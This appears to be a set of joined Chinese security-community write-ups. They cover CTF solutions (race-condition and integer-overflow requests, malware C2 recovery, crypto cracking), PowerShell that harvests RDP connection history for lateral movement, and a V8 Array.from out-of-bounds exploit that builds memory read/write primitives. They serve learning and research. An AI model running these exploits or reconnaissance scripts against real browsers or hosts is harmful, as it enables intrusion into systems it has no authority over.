购买大辣条的时候存在竞争，可以购买多于5个的大辣条, 买了它20个，够用了
import multiprocessing
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
import re, os, json, requests, time
import traceback
def main():
url = 'http://117.78.26.155:31358/buylt'
cookie = '47c3b1ec-45d1-4b19-9bec-025a67e203b6'
headers = {'Cookie':'go_iris_cookie='+ cookie}
k = requests.post(url,headers=headers)
print k.content
if __name__ == '__main__':
results = []
pool = multiprocessing.Pool(processes=20)
for i in range(0xff):
results.append(pool.apply_async(main,))
pool.close()
pool.join()
5个大辣条可以换一个超级大辣条
golang的Web应用
购买超级大辣条的时候存在uint64整型溢出
uint8 : 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8 : -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807
购买 18446744073709551615/5 + 1 个超级大辣条
POST /buyltw HTTP/1.1
Host: 117.78.26.155:31358
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://117.78.26.155:31358/home
Content-Length: 26
Cookie: go_iris_cookie=47c3b1ec-45d1-4b19-9bec-025a67e203b6
X-Forwarded-For: 127.0.0.1
Connection: close
number=3689348814741910324
然后购买flag即可
### easy web
## Misc
### 迟来的签到题
给了一传base64编码的字符串，提示是xor。
先base64decode，再爆破i，i满足对字符串每个字符异或后，是flag。
a = 'AAoHAR1XICMnIlBfUlRXXyBXJFRSUCRRI1RSJyQkIlYgU1EjURs='
b = a.decode('base64')
for i in range(256):
print i,'---',
for k in b:
print chr(ord(k)^i),
print ''
#print b
flag{1FEAD694219F1B246B7E24ABBD0F57E7}
## Crypto
### FEZ
一个与xor的题，注意：a ^ a = 0
大体思路是，理清楚六次循环后，字符串变成什么样子
原字符串为
a，b
经过三次变换后变为
ca，db
六次变换后
ca，db
七次后
xb，yab
解码就可以得到x，y
再代入原式中，解得flag
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
test = '0b7361c8143e5935f9f5be3949cc07ed7a5ba6f258ebd91f29c5a7d16976f8dfb7fa422a6167281e573d015cc6d995841d5cab07923c'.decode("hex")
test_K_result = 'f46d9ffa6a28a3fc2aa17c244ec29fc6a7bf5cac0da4489ad53782f1ef66597dc2928517b56693347ad468154e6f0f1ff8501fa6a1b1'.decode("hex")
m_K_result = '44668860d4e23030bd4a0981530bc1d6da1a20f821aa51941258862cfb716cac503d0f0dcec150171aecfe4d86839f346ff26f2a6a70'.decode("hex")
L = test[:27]
R = test[27:54]
k_l = xor(R, test_K_result[:27])
k_r = xor(L,xor(R, test_K_result[27:54]))
result_r = xor(k_l, m_K_result[:27])
result_l = xor(result_r, xor(k_r, m_K_result[27:54]))
print result_l, result_r[:10] | 社区文章 |
# 2022年工业信息安全技能大赛“望岳杯”锦标赛 wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 恶意文件
动调动调
OD直接动调，更具xxx的流程图可以看到程序的整体结构，然后结合流程图使用OD动调
最终ip地址是存在了`[ebp+ecx-0x14]`的位置
将这一处跳转和两处的exit nop掉
跟踪到`[ebp+ecx-0x14]`在内存中的位置，一直F8就可以了
这里是端口，小端排序 `1F
57`，转换成十进制就是8023，前边在存储ip地址的时候就已经存到`[ebp-0x1D0]`的位置了，所以最终ip：1.15.228.170:8023
**flag{1.15.228.170:8023}**
## 0x02 攻击行为还原
FlaG.txt有密文
`c=1566077545968868311749088444723100549024925747577903610033503`
Id_rsa有
`-----n=1606938044309278499168642398192229212629290234347717645487123-----`
`-----e=65537-----`
在线分解n
#coding:utf-8
import binascii
from libnum import n2s,s2n
import base64
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
p = 1267650600235241044365044382487
q = 1267650600260888172240281085029
e = 65537
# tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
# =
d = modinv(e, (p - 1) * (q - 1))
# c=s2n(tmp)
c = 1566077545968868311749088444723100549024925747577903610033503
#c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
n = p*q
m=pow(c,d,n)
print n2s(m)
后半段直接google
没想到真对了，非预期。
**flag{SSH_Brute_Force}**
## 0x03 留痕取证
前半段
凯撒密码解密
后半段
**flag{bufujiugana}**
## 0x04 漏洞挖掘
Linux运行随便输个密码
Base16+栅栏解密得到flag
**flag{d5000 _login_ pass _is_ DLBhh[@0812](https://github.com/0812
"@0812")}**
## 0x05 密文破解
根据残缺的密文和MD5写脚本爆破
s = '0123456789!@#$%^&*`~()_+-=[]{};:,.<>?/\'\"\\|'
for i in s:
for j in s:
for k in s:
for l in s:
for m in s:
#print(1)
md5 = hashlib.md5()
c = str(i) + '1_1001_10_600_600_' + str(j) + str(k) + '00' + str(l) + str(m) + '7_202103301539'
#print(c)
md5.update(c.encode('utf-8'))
d = md5.hexdigest()
#print(c)
if d[:4] == 'b9fd' and d[6:9] =='9d5':
print(c)
print(d)
**flag{1500.87}**
## 0x06 文件格式分析
使用binwalk查看文件发现文件是一个zip压缩包，于是使用010editor修改文件头为504B，修改后缀为zip并解压文件，解压后打开文件
使用basecrack工具进行解码，得到flag
**flag{W3lc0Me_t0_Xinx1}** | 社区文章 |
## 0x00 前言
* * *
在渗透测试中，远程桌面连接的历史记录不可忽视，根据历史记录往往能定位出关键的服务器。
前几天有一篇文章介绍了如何清除记录，那么这篇文章就来介绍一下如何导出历史记录。
清除记录的文章地址如下：
<http://woshub.com/how-to-clear-rdp-connections-history/#h2_3>
最开始的设想是通过枚举注册表就能够完成，但深入研究发现，想要获得所有用户的历史记录，需要逐个获得用户的NTUSER.DAT文件，通过注册表加载配置单元，导入用户配置信息，再进行枚举才能够实现。
## 0x01 简介
* * *
本文将要介绍以下内容：
* 获得历史记录的思路
* 导出登录用户的历史记录
* 导出所有用户的历史记录
* 两种方法的实现思路和脚本编写细节
## 0x02 获得远程桌面连接历史记录的思路
* * *
### 1、获得当前用户的历史记录：
枚举注册表键值`HKCU:\Software\Microsoft\Terminal Server Client\Servers`
每个注册表项保存连接的服务器地址，其中的键值`UsernameHint`对应登录用户名
如下图
### 2、获得已登录用户的历史记录：
已登录用户的注册表信息会同步保存在`HKEY_USERS\SID`下，SID要对应每个用户的SID
当前系统登录两个用户，分别有两个子项，如下图
**注：**
HKEY_USERS仅包含了缺省用户设置和登录用户的信息，在用户未登录时用户的设置是不可用的
也就是说，如果当前登录了两个用户，那么这两个用户的注册表信息都会保存在`HKEY_USERS\SID`下，如果第三个用户未登录，无法直接获得该用户的注册表信息，也就无法导出该用户的远程桌面连接历史记录
所以，通过枚举注册表键值`HKEY_USERS\SID\Software\Microsoft\Terminal Server
Client\Servers`能够获得已登录用户的远程桌面连接历史记录
### 3、获得所有用户的历史记录：
对于未登录用户，无法直接获得注册表配置信息，这里可以通过加载配置单元的方式来解决
选中HKEY_USERS项，`文件`-`加载配置单元`，如下图
打开用户的NTUSER.DAT文件，路径为`C:\Documents and Settings\用户名\NTUSER.DAT`
接着指定一个项名称，即可在HKEY_USERS下读取该用户的注册表配置信息，如下图
**注：**
删除该项需要通过卸载配置单元来清除
所以，想要获得所有用户的远程桌面连接历史记录，首先需要枚举注册表键值`HKEY_USERS\SID\`，对于未登录用户，需要加载对应的NTUSER.DAT文件，再次枚举获得完整记录，最后卸载对应的注册表项
**补充：**
通过命令行实现加载配置单元的实例：
Reg load HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\Documents and Settings\c\NTUSER.DAT
通过命令行实现卸载配置单元的实例：
Reg unload HKEY_USERS\S-1-5-21-1170783345-3748964848-1387080272-1003
## 0x03 powershell实现细节
* * *
### 1、获得当前用户的历史记录
位置:`HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers`
枚举指定注册表项下的子项:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
查询指定注册表项的注册表键值:
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.62.137").UsernameHint
加入foreach循环实现枚举:
$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
(Get-ItemProperty -Path $RegPath$Name).UsernameHint
}
加入捕获异常，不输出错误信息，如果查不到注册表键值，返回无法获得
完整脚本:
$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User"`n"
}
Catch
{
Write-Host "No RDP Connections History"
}
}
### 2、获得已登录用户的历史记录
位置:`HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers`
**注:**
SID对应每个用户的sid
首先需要枚举所有用户sid
powershell:
Get-WmiObject -Class Win32_UserAccount
wmi:
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_UserAccount GET /all /FORMAT:list
枚举用户名及其对应的SID:
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
Write-Host $User.Name":"$User.SID
}
将以上脚本结合，先枚举用户的SID，查询对应HKEY_USERS下的注册表项，再次枚举注册表键值项，获得完整结果:
(需要管理员权限)
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}
**注：**
$User.Status表示帐户状态，通过`Get-WmiObject -Class
Win32_UserAccount`无法直接查询到，可通过wmi命令获取：
`wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_UserAccount GET /all /FORMAT:list`
### 3、获得所有用户的历史记录
加载配置单元的文件位置：
"C:\Documents and Settings\用户名\NTUSER.DAT"
#### 实现思路：
1. 获得每个用户对应的SID，拼接对应的注册表键值"Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
2. 如果读取失败，代表此用户未登录，接着尝试加载配置单元
3. 拼接配置单元文件位置"C:\Documents and Settings\"+$User.Name+"\NTUSER.DAT"
4. 配置单元对应的注册表项以该用户的sid命名
5. 枚举注册表获得历史记录
6. 卸载注册表项
**注：**
需要新启动一个进程来卸载配置单元，否则提示失败
为了避免使用多个try catch捕获异常，代码结构作了改变，使用If Else作判断，完整实现代码可参考：
<https://github.com/3gstudent/List-RDP-Connections-History>
测试结果如下图
## 0x04 小结
* * *
本文介绍了如何通过powershell获得Windows系统的远程桌面连接历史记录，需要注意的是无法直接获得未登录用户的注册表配置信息(可以加载配置单元解决)。根据远程桌面连接历史记录，往往能定位出关键的服务器。 | 社区文章 |
>
> 一直想要入门chrome漏洞挖掘，于是就打算从一道[CTF题目](https://ctftime.org/task/6081)入手（其实也是一个真实的漏洞），这篇文章记录了我的学习过程，是一个总结，也希望能帮到同样在入门的朋友。
# 调试环境
* Ubuntu16.04 x64
* [pwndbg](https://github.com/pwndbg/pwndbg)
## v8调试环境搭建
* 这里主要参考了sakura师傅的教程
* <http://eternalsakura13.com/2018/05/06/v8/>
* 以及最重要的一点，挂代理，这里我使用的是`polipo`
* <https://github.com/wnagzihxa1n/BrowserSecurity/blob/master/Ubuntu_16.04_x64编译V8源码/Ubuntu_16.04_x64编译V8源码.md>
## 编译
首先进入题目所给出的[链接](https://crbug.com/821137)，找到修复bug的commit。
然后可以找到包含漏洞的版本hash值和一个poc文件
然后通过parent的hash值回退到漏洞版本，并进行编译（debug模式）
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
relase模式编译
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8
# v8基础简介
# 分析与调试技巧
> 这里先简单介绍一下我学习过程中用到的调试方法。
1. %DebugPrint()
这是一个极其常用的函数，可以通过该函数打印出对象的详细信息，如内存地址、属性、map等。运行时使用参数`--allow-natives-syntax`
如：
let arr = [];
%DebugPrint(arr);
./d8 --allow-natives-syntax ./test.js
2. DebugBreak()
当分析v8源码时，遇到`CodeStubAssembler`编写的代码，可以在其中插入`DebugBreak();`，这相当于插入了一个断点(类似`int
3`)，重新编译后使用调试器调试时，可以在插入处断下。
3. Print()
同样，遇到`CodeStubAssembler`编写的代码时，可以使用它来输出一些变量值，函数原型是
void CodeStubAssembler::Print(const char* prefix, Node* tagged_value)
用法
//第二个参数是Node*型，可能需要强转
Print("array", static_cast<Node*>(array.value()));
重新编译后即可。
4. readline()
可以添加在js代码中，让程序停下来等待输入，方便使用gdb断下进行调试。该方法比写一个while死循环好在，让程序停下后，还可以让程序继续运行下去。
5. V8自带gdb调试命令
在/tools/目录下，可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下，然后修改自己的.gdbinit文件，将提供的gdbinit都复制过来。
就可以在gdb中使用v8自带调试命令了
具体命令可以在gdbinit中自己查阅，注释还是很友好的。我最常用的就是job。
6. [polyfill](https://github.com/inexorabletash/polyfill)
因为我没有系统学过js开发，不是太清楚ployfill在实际开发时的作用（似乎是用来补充一些浏览器缺少的api）。但是在学习v8的过程中对我有极大的帮助，在`ployfill`中使用js自身实现了许多js的原生函数，这意味着，在调试js原生函数的时候可以通过查看`polyfill`来了解函数实现细节。而且经过和v8中使用`CodeStubAssembler`实现的原生函数，可以发现实现逻辑基本一致。
# 漏洞分析
## POC分析
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
运行该poc，触发crash（注意使用debug编译的d8）
简单的分析该`poc`
首先创建了一个数组oobArray
然后将`function() { return oobArray }`作为`this`参数传入`Array.from.call`。
此处，我查阅了pollyfill中对`Array.from`的实现（这里对Array.from的分析其实是在下文分析漏洞时进行的，但为了描述的方便，先写在此处）
因为这里`Array.from.call`的this参数是一个函数，所以会调用`var a = new c()`
查询javascript中`new关键字`的返回值可知，当使用new关键字调用一个函数时，若函数返回一个非原始变量（如像object、array或function），那么这些返回值将取代原本应该返回的this实例。
这意味着这里调用`c()`会返回`oobArray`，并且此后的操作都将直接修改`oobArray`。
回到`poc`中，在`iterator`中可以看到，在最后一次迭代时，将`oobArray`的长度修改为`0`。
最后的赋值语句触发crash
通过poc可以猜测，可能是最后一次迭代时对`oobArray.length`的赋值时出现了bug,
导致最后`oobArray`实际长度与`length的值`的不同，造成越界访问。
下面进行详细的分析。
## 源码分析
首先从`diff`入手，看看如何修复的该漏洞
注意到这里只修改了`GenerateSetLength`函数中的一个跳转语句，将`LessThan`修改为`NotEqual`，这说明极有可能是在`length_smi
> old_length`时的处理出现了问题。但仍需进一步分析。
### CodeStubAssembler简介
这里分析将涉及到CodeStubAssembler代码，这里先简单介绍一下。
>
> v8为了提高效率，采用了CodeStubAssembler来编写js的原生函数，它是是一个定制的，与平台无关的汇编程序，它提供低级原语作为汇编的精简抽象，但也提供了一个扩展的高级功能库。
这里我简单记录其中几个的语法，一些是我自己推测理解的，仅供参考。。
* TF_BUILTIN：创建一个函数
* Label：用于定义将要用到的标签名，这些标签名将作为跳转的目标
* BIND：用于绑定一个标签，作为跳转的目标
* Branch：条件跳转指令
* VARIABLE：定义一些变量
* Goto：跳转
### 漏洞代码逻辑
> 建议使用IDE之类来查看代码，方便搜索和跳转。
首先查看`GenerateSetLength`函数
void GenerateSetLength(TNode<Context
context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};
首先判断是否具有[fast element](https://v8.dev/blog/fast-properties)，这里poc代码执行时会进入`&fast`分支
随后若`length_smi <
old_length`，就跳转到`&runtime`，否则执行`StoreObjectFieldNoWriteBarrier`
根据源码注释可以知道，`&runtime`会进行内存的缩减
而分析`StoreObjectFieldNoWriteBarrier`函数，这应该是一个赋值函数，将`array`的`length属性值`修改为`length_smi`
前面我们猜测是`length_smi > old_length`时出现问题，通过这里的分析，漏洞根源似乎更明了了。
当`length_smi >
old_length`，程序不会执行`&runtime`去进行缩减内存等操作，而是会直接修改length的值。那么可以猜测是将较大的`length_smi`写入了数组的`length`，导致数组的长度属性值大于了实际长度，造成了越界访问。
看到这里，感觉仍然没有完全分析透彻，不知道函数各个参数的具体来源都是什么，也不知道为什么`length_smi`会大于`old_length`。
于是尝试寻找调用该函数的上层函数，搜索后定位到了`TF_BUILTIN(ArrayFrom,
ArrayPopulatorAssembler)`，代码比较长，不过还是得慢慢看。
(之所以确定这个函数，是因为poc中确实正好调用了`Array.from`)
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
...
TNode<JSReceiver> array_like = ToObject(context, items);
TVARIABLE(Object, array);
TVARIABLE(Number, length);
// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
// 如果可以迭代
BIND(&iterable);
{
...
// 返回一个数组，用于存储迭代后得到的结果
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
...
Goto(&loop);
//开始迭代
BIND(&loop);
{
// 判断迭代是否结束
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
...
// 将得到的结果存入array
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
// 索引加1
index = NumberInc(index.value());
...
Goto(&loop);
}
//迭代结束
BIND(&loop_done);
{
//将迭代次数赋值给length变量
length = index;
Goto(&finished);
}
...
}
...
BIND(&finished);
// 调用GenerateSetLength，将array和迭代次数作为参数
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
配合源码注释，可以基本了解函数流程。当然，这里还可以参考`polyfill`中的实现。
在可以迭代的情况下，会使用`ConstructArrayLike`返回一个数组`array`，用于存储迭代输出的结果。配合前文分析的`polyfill`中的实现，这里返回的数组就是`oobArray`。
这里也可以通过输出调试信息来进行验证
然后会进入到`BIND(&loop)`块，这应该就是在使用`Symbol.iterator`在进行迭代，每次迭代所得到的值都会存入`array`
迭代结束后将进入`&loop_done`，这里将`index`赋值给了`length`，也就是说`length`中存储的是`迭代次数`。
最后调用了我们已经分析过的`GenerateSetLength`，三个参数分别是`context`，用于存储结果的`array`，迭代次数`length`
## 漏洞原理总结
结合前面`GenerateSetLength`的分析，我们就可以得出整个`array.from`的处理逻辑
当在`Array.from`中迭代完成后调用了`GenerateSetLength`
在`GenerateSetLength`中，若迭代次数
**小于**`array`的长度，意味着`array`的长度大于了需求的长度，那么就需要对内存进行整理，释放多余的空间。
>
> 这里我的想法是，迭代时是按顺序依次遍历每个元素，那么`array`的前`length_smi`个元素一定是被迭代访问过的且也是仅访问过的，后面多出的元素都不是迭代得到的，所以可以去掉。
然而开发者似乎忽略了 **传入的数组可以是初始数组本身** 的情况，从而认为数组长度应该不会小于迭代次数（因为每次迭代都会创建一个新的数组元素）
所以若数组是初始数组，那么我们就可以在迭代途中修改数组的长度。将正在迭代的数组长度缩小，那么就会导致数组多余的空间被释放，但是在`GenerateSetLength`中，又将`array.length`直接改写为较大的`length_smi`（迭代次数），导致长度属性值大于实际长度，造成越界访问。
# 漏洞利用
## V8内存模型
### Tagged Value
在v8中，存在两种类型，一个是Smi((small integer)，一个是指针类型。由于对齐，所以指针的最低位总是0，`Tagged
Value`就是利用了最低位来区别Smi和指针类型。当最低位为1时，表示这是一个指针，当最低位为0，那么这就是一个Smi。
* Smi
为了节约内存、加快运算速度等，实现了一个小整数类型，被称作Smi。
在32位环境中，Smi占据32位，其中最低位为标记位（为0），所以Smi只使用了31位来表示值。
在64位环境中，Smi占据64位，其中最低位为标记位（为0），但是只有高32位用于表示值，低32位都为0（包括标记位）
* 指针
最低位为1，在访问时需要将最低位置回0
### JsObject
在V8中，JavaScript对象初始结构如下所示
[ hiddenClass / map ] -> ... ; 指向Map
[ properties ] -> [empty array]
[ elements ] -> [empty array]
[ reserved #1 ] -\
[ reserved #2 ] |
[ reserved #3 ] }- in object properties,即预分配的内存空间
............... |
[ reserved #N ] -/
* Map中存储了一个对象的元信息，包括对象上属性的个数，对象的大小以及指向构造函数和原型的指针等等。同时，Map中保存了Js对象的属性信息，也就是各个属性在对象中存储的偏移。然后属性的值将根据不同的类型，放在properties、element以及预留空间中。
* properties指针，用于保存通过属性名作为索引的元素值，类似于字典类型
* elements指针，用于保存通过整数值作为索引的元素值，类似于常规数组
* reserved #n，为了提高访问速度，V8在对象中预分配了的一段内存区域，用来存放一些属性值（称为in-object属性），当向object中添加属性时，会先尝试将新属性放入这些预留的槽位。当in-onject槽位满后，V8才会尝试将新的属性放入properties中。
当然，这里的介绍十分简略，详细细节可以参考文末给出的一些参考链接
### ArrayBuffer && TypedArray
* ArrayBuffer
ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer
不能直接操作，而是要通过“视图”进行操作。“视图”部署了数组接口，这意味着，可以用数组的方法操作内存。
* TypedArray
用来生成内存的视图，通过9个构造函数，可以生成9种数据格式的视图，比如Uint8Array（无符号8位整数）数组视图,
Int16Array（16位整数）数组视图, Float64Array（64位浮点数）数组视图等等。
简单的说，ArrayBuffer就代表一段原始的二进制数据，而TypedArray代表了一个确定的数据类型，当TypedArray与ArrayBuffer关联，就可以通过特定的数据类型格式来访问内存空间。
这在我们的利用中十分重要，因为这意味着我们可以在一定程度上像C语言一样直接操作内存。
**内存结构**
在ArrayBuffer中存在一个BackingStore指针，这个指针指向的就是ArrayBuffer开辟的内存空间，可以使用TypedArray指定的类型读取和写入该区域，并且，这片内存区域是位于系统堆中的而不是属于GC管理的区域。
常见利用有：
1. 可以如果修改ArrayBuffer中的Length，那么就能够造成越界访问。
2. 如果能够修改BackingStore指针，那么就可以获得任意读写的能力了，这是非常常用的一个手段
3. 可以通过BackingStore指针泄露堆地址，还可以在堆中布置shellcode。
### JsFunction
在V8利用中，function也常常成为利用的一个目标。其内存结构如下：
其中，CodeEntry是一个指向JIT代码的指针（RWX区域），如果具有任意写能力，那么可以向JIT代码处写入自己的shellcode，实现任意代码执行。
但是，在v8 6.7版本之后，function的code不再可写，所以不能够直接修改jit代码了。 **本文漏洞将不采用修改jit代码的方法** 。
（注：内存布局图是根据sakura师傅的博客重画的，但是我调试后发现，貌似函数代码指针应该在`kLiteralsOffset`的位置）
## 自制类型转换小工具
在v8利用中，不可避免的会读写内存。而读写内存就会使用到前文提到的`ArrayBuffer &&
TypedArray`。在64位程序中，因为没有`Uint64Array`，所以要读写8字节的内存单元只能使用`Float64Array`（或者两个`Uint32`），但是float类型存储为小数编码，所以为了方便读写，我们需要自己实现一个Uint64与Float64之间转换的小工具
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
## 任意读写能力
根据前文对poc的分析，可以知道，我们能够构造出一个可以越界访问的数组（属性length值 > 实际长度）。
那么，如果可以在该数组后面内存中布置一些我们可控的对象，如ArrayBuffer，那么就可以通过修改BackingStore来实现任意读写了。
这里，我们还想要能够泄露任意对象的地址，可以在oobArray后布置一个普通js对象，只要将目标对象作为该对象的属性值（in-object属性），然后通过越界读取，就可以泄露出目标对象的地址了。
注意，利用过程需要使用release编译的文件。
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;
Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x4321, 'b': 0x9999};
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
)});
首先创建两个列表，bufs用于存储ArrayBuffer对象，objs用于存储普通Js对象
在最后一次迭代中，先将oobArray的长度缩减为1（不能为0，否则对象将被回收），然后创建100个ArrayBuffer对象和普通js对象，我们希望创建的这些对象能够有一个落在oobArray所在内存后方，能够通过越界访问控制。
然后我们就需要通过越界访问，对内存进行搜索，判断是否有我们创建的可控对象。
其中ArrayBuffer是通过搜索其length值0x1234（在内存中Smi表示为0x123400000000）来定位
普通js对象通过搜索其'a'属性的值0x4321（在内存中Smi表示为0x432100000000）来定位
// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x123400000000){
console.log("buf_offset: " + i.toString());
buf_offset = i;
oobArray[i] = mem.u2d(0x121200000000); //修改可控buf的length，做个标记
oobArray[i + 3] = mem.u2d(0x1212); //有两处保存了length值
break;
}
}
// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x432100000000){
console.log("obj_offset: " + i.toString());
obj_offset = i;
oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a，做个标记
break;
}
}
// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
let val = bufs[i].byteLength;
if(val === 0x1212){ //查找被修改了length的buf
console.log("found controllable buf at idx " + i.toString());
controllable_buf_idx = i;
break;
}
}
// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
let val = objs[i].a;
if(val === 0x5678){ //查找属性a被修改了的obj
console.log("found controllable obj at idx " + i.toString());
controllable_obj_idx = i;
break;
}
}
